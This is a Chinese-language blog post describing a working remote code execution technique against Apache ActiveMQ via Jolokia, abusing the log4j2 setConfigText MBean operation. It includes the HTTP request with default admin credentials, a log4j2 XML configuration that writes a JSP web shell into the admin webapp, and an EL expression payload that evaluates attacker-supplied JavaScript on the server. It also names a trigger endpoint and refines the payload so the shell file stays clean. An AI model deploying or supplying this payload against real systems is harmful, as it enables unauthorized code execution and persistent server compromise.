Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法

Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法

想着最近连写了几篇加密博客有点对不起看我博客的粉丝了,今天抽空简单分享一个姿势

影响版本

大概测了一下

Apache ActiveMQ 5.16.x系列无log4j2的mbean

Apache ActiveMQ 5.17.x系列漏洞版本受影响

初探

从网上已公开的打法可以知道使用jdk.management.jfr:type=FlightRecorder受jdk版本的影响,那有没有其他方法呢?答案肯定是有,从commit点我可以看出禁用的mbean不仅有jdk.management.jfr:type=FlightRecorder,还有com.sun.management:type=DiagnosticCommand以及org.apache.logging.log4j2:*,对于DiagnosticCommand的利用在之前很早就有公开,链接在https://github.com/laluka/jolokia-exploitation-toolkit/blob/main/exploits/file-write-to-rce-vhost-jfr.md,不过大概看了一下这里似乎不太行(也没仔细看就是了),比较感兴趣的是这个log4j2的利用

http://127.0.0.1:8161/api/jolokia/list当中搜索可以看到如下,利用的时候`type=63a65a25`似乎不是固定的,看起来大概和版本有关,需要先访问这个路由看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
"org.apache.logging.log4j2": {
"component=StatusLogger,type=63a65a25": {
"attr": {
"StatusDataHistory": {
"rw": false,
"type": "[Ljava.lang.String;",
"desc": "Attribute exposed for management"
},
"Level": {
"rw": true,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"StatusData": {
"rw": false,
"type": "java.util.List",
"desc": "Attribute exposed for management"
},
"ObjectName": {
"rw": false,
"type": "javax.management.ObjectName",
"desc": "Attribute exposed for management"
},
"ContextName": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
}
},
"class": "org.apache.logging.log4j.core.jmx.StatusLoggerAdmin",
"desc": "Information on the management interface of the MBean"
},
"component=Loggers,name=,type=63a65a25": {
"attr": {
"Additive": {
"rw": true,
"type": "boolean",
"desc": "Attribute exposed for management"
},
"Filter": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"AppenderRefs": {
"rw": false,
"type": "[Ljava.lang.String;",
"desc": "Attribute exposed for management"
},
"IncludeLocation": {
"rw": false,
"type": "boolean",
"desc": "Attribute exposed for management"
},
"Level": {
"rw": true,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"Name": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
}
},
"class": "org.apache.logging.log4j.core.jmx.LoggerConfigAdmin",
"desc": "Information on the management interface of the MBean"
},
"type=63a65a25": {
"op": {
"setConfigText": {
"args": [{
"name": "p1",
"type": "java.lang.String",
"desc": ""
}, {
"name": "p2",
"type": "java.lang.String",
"desc": ""
}],
"ret": "void",
"desc": "Operation exposed for management"
},
"getConfigText": {
"args": [{
"name": "p1",
"type": "java.lang.String",
"desc": ""
}],
"ret": "java.lang.String",
"desc": "Operation exposed for management"
}
},
"attr": {
"Status": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"ConfigClassName": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"ConfigLocationUri": {
"rw": true,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"ConfigName": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"ConfigProperties": {
"rw": false,
"type": "java.util.Map",
"desc": "Attribute exposed for management"
},
"ConfigText": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"Name": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
},
"ObjectName": {
"rw": false,
"type": "javax.management.ObjectName",
"desc": "Attribute exposed for management"
},
"ConfigFilter": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
}
},
"class": "org.apache.logging.log4j.core.jmx.LoggerContextAdmin",
"desc": "Information on the management interface of the MBean"
},
"component=ContextSelector,type=63a65a25": {
"attr": {
"ImplementationClassName": {
"rw": false,
"type": "java.lang.String",
"desc": "Attribute exposed for management"
}
},
"class": "org.apache.logging.log4j.core.jmx.ContextSelectorAdmin",
"desc": "Information on the management interface of the MBean"
},

在这里可以看到两个比较可疑的操作setConfigTextgetConfigText,看起来似乎与配置相关

看看代码可以发现,确实根据我们传入的字符串做了配置文件解析更新

image-20231130203410738

同时getConfigText可以查看当前环境下的配置,可以看到返回的形式就和文件/conf/log4j2.properties一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/jolokia/ HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Origin: 127.0.0.1
Connection: close
Content-Type: application/json
Content-Length: 2174

{
"type": "EXEC",
"mbean": "org.apache.logging.log4j2:type=63a65a25",
"operation": "getConfigText",
"arguments":["UTF-8"]
}

response:

{"request":{"mbean":"org.apache.logging.log4j2:type=63a65a25","arguments":["UTF-8"],"type":"exec","operation":"getConfigText"},"value":"rootLogger.level=INFO\nrootLogger.appenderRef.console.ref=Console\nrootLogger.appenderRef.console.filter.threshold.type=ThresholdFilter\nrootLogger.appenderRef.console.filter.threshold.level=INFO\nrootLogger.appenderRef.logfile.ref=RollingFile\nlogger.spring.name=org.apache.activemq.spring\nlogger.spring.level=WARN\nlogger.web.name=org.apache.activemq.web.handler\nlogger.web.level=WARN\nlogger.springframework.name=org.springframework\nlogger.springframework.level=WARN\nlogger.xbean.name=org.apache.xbean\nlogger.xbean.level=WARN\n\n# Jetty\nlogger.jetty.name=org.eclipse.jetty\nlogger.jetty.level=WARN\n\n# ActiveMQ\n#log4j2.logger.activemq.name=org.apache.activemq\n#log4j2.logger.activemq.level=DEBUG\n\n# Appender configuration\n\n# Console appender\nappender.console.type=Console\nappender.console.name=Console\nappender.console.layout.type=PatternLayout\nappender.console.layout.pattern=%5p | %m%n\n\n# File appender\nappender.logfile.type=RollingRandomAccessFile\nappender.logfile.name=RollingFile\nappender.logfile.fileName=${sys:activemq.data}\/activemq2.log\nappender.logfile.filePattern=${sys:activemq.data}\/activemq2.log.%i\nappender.logfile.append=true\nappender.logfile.layout.type=PatternLayout\nappender.logfile.layout.pattern=%d | %-5p | %m | %c | %t%n%throwable{full}\nappender.logfile.policies.type=Policies\nappender.logfile.policies.size.type=SizeBasedTriggeringPolicy\nappender.logfile.policies.size.size=1MB\n\n\nlogger.audit.name=org.apache.activemq.audit\nlogger.audit.additivity=false\nlogger.audit.level=INFO\nlogger.audit.appenderRef.auditlog.ref=AuditLog\n\nappender.auditlog.type=RollingRandomAccessFile\nappender.auditlog.name=AuditLog\nappender.auditlog.fileName=${sys:activemq.data}\/audit.log\nappender.auditlog.filePattern=${sys:activemq.data}\/audit.log.%i\nappender.auditlog.append=true\nappender.auditlog.layout.type=PatternLayout\nappender.auditlog.layout.pattern=%-5p | %m | %t%n\nappender.auditlog.policies.type=Policies\nappender.auditlog.policies.size.type=SizeBasedTriggeringPolicy\nappender.auditlog.policies.size.size=1MB\n","timestamp":1701347796,"status":200}

踩坑

但是当我们按照这个格式改好payload调用set更新时发现并没有成功,无事发生

调试后才发现这个config解析其实是xml形式的,算是被系统坑了一把

image-20231130204226465

调用栈(方便也想调试看看的师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
setConfiguration:601, LoggerContext (org.apache.logging.log4j.core)
start:285, LoggerContext (org.apache.logging.log4j.core)
setConfigText:201, LoggerContextAdmin (org.apache.logging.log4j.core.jmx)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invoke:260, MethodUtil (sun.reflect.misc)
invokeM2:112, StandardMBeanIntrospector (com.sun.jmx.mbeanserver)
invokeM2:46, StandardMBeanIntrospector (com.sun.jmx.mbeanserver)
invokeM:237, MBeanIntrospector (com.sun.jmx.mbeanserver)
invoke:138, PerInterface (com.sun.jmx.mbeanserver)
invoke:252, MBeanSupport (com.sun.jmx.mbeanserver)
invoke:809, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)

破局

但是也知道我懒,这种格式转换的活我很烦,还好有chatGPT,简单问了一手解决了我的问题

毕竟我不关心内容只需要一个模板罢了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
把接下来我给的配置转化为log4j2配置的xml的形式
好的喵
xxxx
以下是将您提供的配置转换为log4j2的XML形式:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
<File name="File" fileName="logs/logfile.log">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</File>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="Console"/>
<AppenderRef ref="File"/>
</Root>
</Loggers>
</Configuration>

虽然不知道绝对路径,但是根据系统的原配置文件的写法appender.logfile.fileName=${sys:activemq.data}/activemq.log再结合日志路径可以猜到使用${sys:activemq.data}/../webapps/admin/

同时为了方便利用,我写成el表达式的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/y4test.jsp"
filePattern="${sys:activemq.data}/../webapps/admin/y4test.jsp">
<PatternLayout pattern="${''['getClass']()['forName']('javax.script.ScriptEngineManager')['newInstance']()['getEngineByName']('JavaScript')['eval'](param.a)}"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="RollingFile"/>
</Root>
</Loggers>
</Configuration>

打一发看看,但是目录下只生成了文件并没有把payload写入,因此我们需要找一个能触发日志的功能点

这里我随便找了一个/admin/deleteDestination.action

看到这个心满意足

image

但是忘了一点,这里虽然输出了payload,也能利用了但是对于我们极客来说,不喜欢除了payload的其他字符

image

能做到吗?当然可以,通过查阅手册可以发现针对堆栈信息,有下面配置

1
2
3
4
%throwable{full}:输出完整的异常堆栈信息
%ex{none}来禁用异常堆栈的输出
%ex{short}:输出简短的异常堆栈信息,只包括异常类和消息。
%ex{full}:输出完整的异常堆栈信息,包括异常类、消息和详细的堆栈跟踪。

那么必然是选%ex{none},得到如下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/y4test.jsp"
filePattern="${sys:activemq.data}/../webapps/admin/y4test.jsp">
<PatternLayout pattern="${''['getClass']()['forName']('javax.script.ScriptEngineManager')['newInstance']()['getEngineByName']('JavaScript')['eval'](param.a)}%ex{none}"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="RollingFile"/>
</Root>
</Loggers>
</Configuration>

再一次利用一发,就是这么舒爽2333,利用也简单只需要一发修改配置、触发文件写入

image